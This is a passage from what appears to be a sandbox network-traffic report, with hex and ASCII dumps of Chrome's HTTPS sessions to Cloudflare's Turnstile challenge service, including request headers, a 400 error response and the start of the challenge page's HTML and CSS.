18	192.168.2.4	49778	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:24 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32594 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:24 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 66 65 31 33 37 33 66 31 37 34 33 66 66 3d 47 34 37 62 31 4b 24 69 59 76 34 32 34 32 67 34 24 61 24 76 33 38 61 25 32 62 4b 4b 6f 32 48 32 48 62 24 75 46 56 32 30 62 53 34 24 53 32 66 4c 62 50 70 75 4b 77 55 37 32 47 4b 32 4b 70 67 46 4f 30 32 45 24 62 4b 51 32 33 36 31 4c 38 57 32 4b 34 32 50 32 37 34 32 53 46 24 37 24 4a 47 32 56 75 24 78 56 6a 61 6a 62 32 72 32 57 75 53 32 48 67 35 32 63 32 45 6b 46 37 71 31 62 24 2b 32 5a 62 46 4c 32 77 4a 6f 62 62 32 46 57 32 46 64 37 32 24 4c 4e 49 35 24 72 6b 48 37 52 61 44 42 6c 61 48 59 32 42 4e 47 53 69 76 31 59 44 45 35 4e 61 36 4b 4f 6b 38 2b 75 61 4f 78 6d 32 37 4b 61 4b 55 62 32 38 36 4b 4e 24 57 42 54 42 4e 62 4e 43 37 34 77 62 5a 6b 32 55 66 6b 6b 2b 66 64 64 4a 59 70 69 41 52 57 62 2b 5a 64 Data Ascii: v_901fe1373f1743ff=G47b1K$iYv4242g4$a$v38a%2bKKo2H2Hb$uFV20bS4$S2fLbPpuKwU72GK2KpgFO02E$bKQ2361L8W2K42P2742SF$7$JG2Vu$xVjajb2r2WuS2Hg52c2EkF7q1b$+2ZbFL2wJobb2FW2Fd72$LNI5$rkH7RaDBlaHY2BNGSiv1YDE5Na6KOk8+uaOxm27KaKUb286KN$WBTBNbNC74wbZk2Ufkk+fddJYpiARWb+Zd
2025-01-14 19:02:24 UTC	16210	OUT	Data Raw: 75 32 4f 32 57 32 24 34 4b 35 24 2b 35 58 75 42 35 2d 35 37 75 24 38 62 33 24 34 38 70 75 56 38 32 63 32 49 62 57 75 24 34 34 50 62 24 59 32 70 32 4b 69 46 57 4e 43 32 66 32 4b 61 24 76 32 38 35 32 44 7a 79 32 51 61 24 59 32 58 2b 48 33 46 4e 78 49 32 4e 38 56 33 32 53 32 47 38 4b 67 32 42 32 6b 32 32 50 24 6c 6d 33 35 32 4c 24 2d 32 6b 32 46 4c 32 38 32 56 4a 32 66 47 43 32 45 74 43 6a 24 33 32 46 62 4b 4a 32 34 62 55 38 24 2d 6a 72 32 37 77 61 62 32 46 35 76 32 4b 68 77 34 35 55 35 43 62 32 2b 32 47 32 32 35 32 6b 55 69 35 61 69 32 77 32 49 67 4b 77 32 30 4b 51 61 56 69 32 56 32 4b 62 24 75 32 24 59 4b 32 6b 62 46 4e 32 57 64 56 2b 24 63 32 66 77 24 32 24 66 32 46 38 56 67 24 42 32 51 61 56 37 4b 2d 32 56 35 43 37 4b 61 32 49 35 4b 61 32 30 44 4d 41 35 Data Ascii: u2O2W2$4K5$+5XuB5-57u$8b3$48puV82c2IbWu$44Pb$Y2p2KiFWNC2f2Ka$v2852Dzy2Qa$Y2X+H3FNxI2N8V32S2G8Kg2B2k22P$lm352L$-2k2FL282VJ2fGC2EtCj$32FbKJ24bU8$-jr27wab2F5v2Khw45U5Cb2+2G2252kUi5ai2w2IgKw20KQaVi2V2Kb$u2$YK2kbFN2WdV+$c2fw$2$f2F8Vg$B2QaV7K-2V5C7Ka2I5Ka20DMA5
2025-01-14 19:02:25 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:25 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26332 Connection: close cf-chl-gen: NKeVEMM8BXYOHvVvH53Rggw+6mTs20h49/WLoOdQGHqMRn3EzDbFK4mJFY9AB4vj$afQWvgko1CtbgCk/yTjRog== Server: cloudflare CF-RAY: 901fe1560e597298-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:25 UTC	1047	IN	Data Raw: 62 6f 74 48 59 59 39 6a 58 59 6c 33 55 57 57 50 69 48 43 45 63 34 5a 30 69 6c 78 74 61 32 4e 67 63 57 2b 45 65 6f 42 7a 6d 70 68 2b 6d 4a 69 45 6d 6f 69 79 64 49 61 51 73 6f 65 44 75 6f 5a 32 72 34 32 78 71 59 36 62 73 70 6d 57 74 62 36 6a 6b 38 75 61 68 73 43 64 77 62 79 62 77 37 54 4b 71 4d 75 6d 6b 73 6d 35 7a 63 6d 6f 33 63 36 36 72 39 7a 4d 73 38 36 38 6e 2b 71 32 32 39 37 41 7a 74 6a 59 76 4e 72 49 38 75 76 46 39 37 66 54 30 62 4f 75 74 75 33 4e 38 65 48 52 7a 4e 54 30 33 74 2f 6f 32 39 62 35 2b 76 33 65 2b 50 6a 69 2b 75 6a 4c 7a 75 41 57 46 2b 76 33 39 39 54 6d 47 77 6b 61 48 66 41 50 34 50 63 6d 39 77 67 59 49 51 49 58 2b 68 34 65 49 69 67 52 42 66 34 48 4a 77 67 31 45 43 73 6d 43 77 73 75 4e 7a 2f 36 4d 7a 49 65 46 42 63 61 46 44 38 58 47 44 67 Data Ascii: botHYY9jXYl3UWWPiHCEc4Z0ilxta2NgcW+EeoBzmph+mJiEmoiydIaQsoeDuoZ2r42xqY6bspmWtb6jk8uahsCdwbybw7TKqMumksm5zcmo3c66r9zMs868n+q2297AztjYvNrI8uvF97fT0bOutu3N8eHRzNT03t/o29b5+v3e+Pji+ujLzuAWF+v399TmGwkaHfAP4Pcm9wgYIQIX+h4eIigRBf4HJwg1ECsmCwsuNz/6MzIeFBcaFD8XGDg
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 69 63 6e 56 63 6f 61 52 78 63 71 43 69 6e 59 43 42 6d 32 32 74 6d 32 2b 47 74 59 56 78 68 72 61 48 6d 59 70 7a 6c 35 32 4f 64 37 47 68 6b 6f 48 46 70 5a 61 47 6e 34 75 66 6e 73 4b 72 6e 72 6d 39 7a 74 53 65 72 72 65 72 7a 74 4c 51 30 74 36 5a 72 4b 6d 75 6f 61 2b 75 6f 65 53 66 33 37 65 38 71 62 75 2f 76 36 69 35 7a 75 54 71 77 63 54 43 77 2b 66 75 32 73 76 33 2b 76 44 34 30 4f 37 73 36 2f 6e 69 35 76 44 2b 77 38 45 47 41 65 37 6d 38 41 6a 4b 7a 4f 50 68 33 67 55 56 34 76 50 79 43 68 6f 4d 2b 75 73 41 49 50 72 32 42 43 51 54 2f 69 59 59 33 4f 59 4b 39 51 34 6a 4d 75 30 52 4c 54 59 50 46 52 59 43 36 78 4d 4e 4d 44 38 57 4d 77 34 66 2f 54 38 65 4f 2f 67 79 48 51 45 6b 42 43 6f 4c 52 53 4d 64 43 67 35 52 54 45 6f 68 4d 6c 49 6d 53 69 73 58 52 6c 64 4c 4c 45 Data Ascii: icnVcoaRxcqCinYCBm22tm2+GtYVxhraHmYpzl52Od7GhkoHFpZaGn4ufnsKrnrm9ztSerrerztLQ0t6ZrKmuoa+uoeSf37e8qbu/v6i5zuTqwcTCw+fu2sv3+vD40O7s6/ni5vD+w8EGAe7m8AjKzOPh3gUV4vPyChoM+usAIPr2BCQT/iYY3OYK9Q4jMu0RLTYPFRYC6xMNMD8WMw4f/T8eO/gyHQEkBCoLRSMdCg5RTEohMlImSisXRldLLE
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 59 6d 6d 63 6c 5a 36 4f 72 32 78 36 69 35 2b 51 6b 5a 64 74 72 59 53 50 68 34 71 61 71 72 5a 2f 77 49 74 2f 6c 72 32 50 78 4a 62 49 69 70 71 6d 68 62 72 41 70 38 2b 73 70 61 48 43 31 70 54 57 31 73 7a 55 71 4d 7a 4e 6e 61 76 56 74 2b 50 66 6c 38 62 55 30 62 72 49 34 74 36 36 71 75 72 41 30 64 7a 54 78 72 4c 44 71 63 72 75 79 38 58 71 38 39 54 70 32 50 44 77 2f 50 72 6b 77 39 6e 78 2b 66 4c 56 2b 73 6b 4f 36 64 37 62 44 77 50 2b 42 76 59 41 35 77 77 54 43 4f 77 55 38 4f 6f 57 37 64 30 45 39 75 4c 7a 49 50 77 61 2b 69 41 64 48 69 55 63 4a 69 49 46 2f 53 50 78 4e 69 41 48 42 44 63 72 4b 44 41 32 50 43 6f 79 46 45 41 7a 50 42 30 79 4a 69 4d 43 49 54 34 47 4f 30 63 50 55 54 35 41 50 52 4d 34 52 6b 74 53 57 69 77 30 54 54 42 55 56 6a 6f 63 4f 47 46 6c 48 6b 41 Data Ascii: YmmclZ6Or2x6i5+QkZdtrYSPh4qaqrZ/wIt/lr2PxJbIipqmhbrAp8+spaHC1pTW1szUqMzNnavVt+Pfl8bU0brI4t66qurA0dzTxrLDqcruy8Xq89Tp2PDw/Prkw9nx+fLV+skO6d7bDwP+BvYA5wwTCOwU8OoW7d0E9uLzIPwa+iAdHiUcJiIF/SPxNiAHBDcrKDA2PCoyFEAzPB0yJiMCIT4GO0cPUT5APRM4RktSWiw0TTBUVjocOGFlHkA
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 34 4f 62 72 4b 65 45 72 6e 47 45 67 59 5a 35 68 34 5a 31 66 59 36 78 65 59 47 53 74 6e 32 46 6c 72 75 42 69 5a 72 41 69 34 75 61 7a 49 2f 4e 6a 36 43 65 77 37 2f 43 6f 71 62 44 6c 64 47 58 30 4d 71 72 75 37 4f 7a 73 62 43 7a 74 65 54 67 31 75 4b 6d 79 4c 76 4b 76 2f 44 70 77 72 37 30 73 75 66 46 39 2f 72 57 31 2f 6d 34 36 62 32 35 32 63 37 7a 77 4e 44 39 39 39 72 31 34 63 58 38 43 63 72 52 2f 65 54 74 43 51 33 79 39 51 73 4e 2b 2f 6e 6e 32 2f 34 5a 34 42 62 35 44 76 34 6c 34 51 66 79 34 78 38 63 35 77 73 42 4c 43 30 45 42 67 66 2b 41 67 38 74 42 44 45 71 2f 44 30 34 4f 78 34 78 51 45 49 69 4e 55 54 2b 4a 6a 6c 49 42 79 6f 39 53 7a 6f 75 51 55 39 46 51 6a 42 58 4f 55 77 6a 54 31 46 47 53 45 30 38 4c 79 77 68 57 57 52 67 4e 31 4d 79 57 45 68 5a 4e 6a 5a 71 Data Ascii: 4ObrKeErnGEgYZ5h4Z1fY6xeYGStn2FlruBiZrAi4uazI/Nj6Cew7/CoqbDldGX0Mqru7OzsbCzteTg1uKmyLvKv/Dpwr70sufF9/rW1/m46b252c7zwND999r14cX8CcrR/eTtCQ3y9QsN+/nn2/4Z4Bb5Dv4l4Qfy4x8c5wsBLC0EBgf+Ag8tBDEq/D04Ox4xQEIiNUT+JjlIByo9SzouQU9FQjBXOUwjT1FGSE08LywhWWRgN1MyWEhZNjZq
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 6d 58 62 72 71 54 6b 6f 71 6d 75 58 36 32 74 35 2b 32 72 5a 6d 33 77 59 61 55 78 59 72 43 77 49 61 48 71 71 2b 4a 6b 36 53 7a 6a 63 36 75 73 70 48 61 74 72 53 64 6d 4e 66 67 31 71 48 53 74 37 65 6e 74 38 4f 34 74 4c 57 33 35 61 66 6e 78 4d 76 4b 71 37 4c 6a 39 4d 36 7a 2b 75 76 72 32 39 76 35 41 64 63 45 41 50 58 77 31 50 71 2b 35 41 59 4b 41 77 54 72 41 2f 6e 6c 33 51 2f 63 34 42 4c 4f 44 2b 6b 54 36 42 59 48 45 67 45 54 43 76 44 6a 39 52 4c 64 2f 43 41 4a 49 41 48 73 43 66 73 4e 48 78 4d 6e 37 78 4d 53 37 76 63 55 47 52 63 5a 4d 68 67 79 43 51 77 67 2b 77 54 39 4c 76 30 6c 51 6a 59 45 4b 66 34 6e 48 52 31 46 4c 6a 4d 68 53 55 41 31 51 79 56 45 54 56 73 64 4f 7a 34 67 54 46 41 79 4c 54 64 43 58 44 6c 41 51 31 31 72 4b 31 64 6a 57 33 46 4c 4b 6b 6f 39 54 Data Ascii: mXbrqTkoqmuX62t5+2rZm3wYaUxYrCwIaHqq+Jk6Szjc6uspHatrSdmNfg1qHSt7ent8O4tLW35afnxMvKq7Lj9M6z+uvr29v5AdcEAPXw1Pq+5AYKAwTrA/nl3Q/c4BLOD+kT6BYHEgETCvDj9RLd/CAJIAHsCfsNHxMn7xMS7vcUGRcZMhgyCQwg+wT9Lv0lQjYEKf4nHR1FLjMhSUA1QyVETVsdOz4gTFAyLTdCXDlAQ11rK1djW3FLKko9T
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 4c 76 5a 75 66 6e 70 75 79 73 59 36 50 76 6f 65 70 70 38 61 61 70 6f 61 58 6e 36 79 4b 7a 71 53 76 79 74 61 6c 74 4d 33 57 31 72 65 72 72 4c 71 71 76 37 2b 79 73 65 54 44 31 4c 66 71 73 38 33 4b 78 71 37 48 76 2f 47 71 34 38 4c 50 34 74 58 48 78 37 72 49 79 2f 50 2b 37 39 2b 35 35 4e 50 68 7a 76 4c 66 35 38 48 36 33 76 62 61 37 4f 62 76 79 78 50 6b 38 66 50 6e 35 66 62 7a 42 76 76 73 48 51 6f 4e 38 52 59 57 45 66 49 57 49 76 66 35 47 67 6a 36 2b 53 30 4e 48 76 72 37 4b 2f 4d 57 46 44 4d 48 45 2f 49 45 44 42 6e 32 4f 78 45 63 4e 30 4d 53 49 54 70 44 51 79 51 59 47 53 63 58 4c 43 77 77 48 31 49 50 50 68 39 58 49 45 49 34 4e 46 5a 47 4c 6a 64 4b 50 6a 4a 52 52 44 5a 46 5a 55 42 52 56 7a 6b 35 56 6b 64 68 57 30 6b 37 4b 6a 52 65 55 45 4e 76 63 31 4e 58 4f 47 Data Ascii: LvZufnpuysY6Pvoepp8aapoaXn6yKzqSvytaltM3W1rerrLqqv7+yseTD1Lfqs83Kxq7Hv/Gq48LP4tXHx7rIy/P+79+55NPhzvLf58H63vba7ObvyxPk8fPn5fbzBvvsHQoN8RYWEfIWIvf5Ggj6+S0NHvr7K/MWFDMHE/IEDBn2OxEcN0MSITpDQyQYGScXLCwwH1IPPh9XIEI4NFZGLjdKPjJRRDZFZUBRVzk5VkdhW0k7KjReUENvc1NXOG
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 73 70 57 32 6a 37 4b 5a 6b 38 57 64 6e 4c 33 4e 72 71 44 52 6a 72 47 6a 31 64 47 32 71 4d 6a 4e 79 4b 7a 64 76 39 43 77 30 62 2f 4f 74 61 2b 65 30 37 50 44 70 73 71 36 78 36 37 64 77 50 47 75 33 38 58 6c 73 73 6e 48 2b 62 62 71 7a 63 65 32 36 64 41 43 41 76 54 55 33 76 6e 78 32 65 54 62 2b 64 72 2b 33 2f 33 67 36 78 49 44 33 2b 38 53 42 2b 6a 6a 30 67 7a 71 2b 4f 2f 2b 37 79 4c 65 39 66 4d 6d 42 42 4c 34 42 43 6f 59 2b 79 2f 37 48 51 45 68 4a 68 38 45 4e 77 67 58 43 67 51 36 4b 41 73 59 39 69 77 4d 48 45 49 76 46 69 45 59 4e 78 6c 4c 47 44 73 65 47 41 73 69 49 52 30 6b 51 53 56 57 44 30 59 71 53 6a 68 4a 4c 69 64 53 53 7a 46 69 47 31 41 31 4d 54 68 53 4e 30 51 6a 58 44 68 4a 50 46 77 2f 59 30 42 6c 52 6b 41 7a 56 30 6c 55 58 45 35 4d 66 30 68 78 55 6c 78 Data Ascii: spW2j7KZk8WdnL3NrqDRjrGj1dG2qMjNyKzdv9Cw0b/Ota+e07PDpsq6x67dwPGu38XlssnH+bbqzce26dACAvTU3vnx2eTb+dr+3/3g6xID3+8SB+jj0gzq+O/+7yLe9fMmBBL4BCoY+y/7HQEhJh8ENwgXCgQ6KAsY9iwMHEIvFiEYNxlLGDseGAsiIR0kQSVWD0YqSjhJLidSSzFiG1A1MThSN0QjXDhJPFw/Y0BlRkAzV0lUXE5Mf0hxUlx
2025-01-14 19:02:25 UTC	1369	IN	Data Raw: 4c 37 43 6c 72 7a 43 79 4a 79 4b 76 73 62 41 6a 38 6d 76 75 71 4b 37 72 63 57 59 75 4e 33 4e 30 4d 4f 31 7a 38 58 41 35 64 58 59 79 37 33 4f 37 65 62 75 75 39 44 64 33 4e 53 2b 31 4f 33 44 30 2f 58 4b 36 4c 62 39 7a 65 49 42 39 66 44 55 7a 75 6a 43 36 4e 4c 6f 41 74 66 6e 43 76 6e 61 41 51 66 55 34 77 6f 53 35 66 6f 5a 44 78 76 6f 31 2f 7a 61 41 78 48 6a 49 78 48 66 42 41 41 4c 47 51 7a 39 44 79 34 6e 4b 66 73 52 4b 68 30 65 44 79 73 77 43 43 38 55 44 68 38 49 4e 79 6f 4c 49 52 67 57 4c 67 38 6f 47 69 70 4b 51 30 45 59 4c 54 41 35 4d 79 74 48 53 43 52 4d 49 43 70 45 4a 46 4e 47 4a 7a 31 4f 4d 6b 38 37 52 55 31 50 4e 6b 42 55 56 6c 70 6a 56 6a 64 4f 4f 45 4a 62 51 6b 78 67 59 6d 56 59 53 6d 4e 4b 56 47 6c 71 62 6e 64 71 53 32 46 67 56 6d 39 57 59 48 56 32 Data Ascii: L7ClrzCyJyKvsbAj8mvuqK7rcWYuN3N0MO1z8XA5dXYy73O7ebuu9Dd3NS+1O3D0/XK6Lb9zeIB9fDUzujC6NLoAtfnCvnaAQfU4woS5foZDxvo1/zaAxHjIxHfBAALGQz9Dy4nKfsRKh0eDyswCC8UDh8INyoLIRgWLg8oGipKQ0EYLTA5MytHSCRMICpEJFNGJz1OMk87RU1PNkBUVlpjVjdOOEJbQkxgYmVYSmNKVGlqbndqS2FgVm9WYHV2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49779	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:25 UTC	597	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/42373058:1736878526:BkU1SksTnjb9f1Ohf5ptrBjTP0MGxxzbJNiX3FkmxeU/901fe1373f1743ff/a4XCpZxnpJeuTbvCQP8NxlnIXQ7CC.zDR9dCLCmKSyA-1736881340-1.1.1.1-E2pSl8fZlpoESrPULOwemRIFisE792xMzoXVSGUXmtP46.VB4hKLkDL7UvSfY4k9 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:25 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 19:02:25 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 1kfWcUp/17K2Ccc7Od/+XSHvaYrhHR6B7WoeCAlcX8lWBZTuLCjvF6AG0UO3p3Y7wtxf5I38ViMKZJbGg87HyQ==$7T0JeC/nB1bfOdctOrWW8Q== Server: cloudflare CF-RAY: 901fe15b781eef9f-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:25 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50058	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:25 UTC	810	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:25 UTC	1362	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26912 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-14 19:04:25 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 39 30 31 66 65 34 34 39 64 66 31 66 34 32 34 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 901fe449df1f4249-EWRalt-svc: h3=":443"; ma=86400
2025-01-14 19:04:25 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 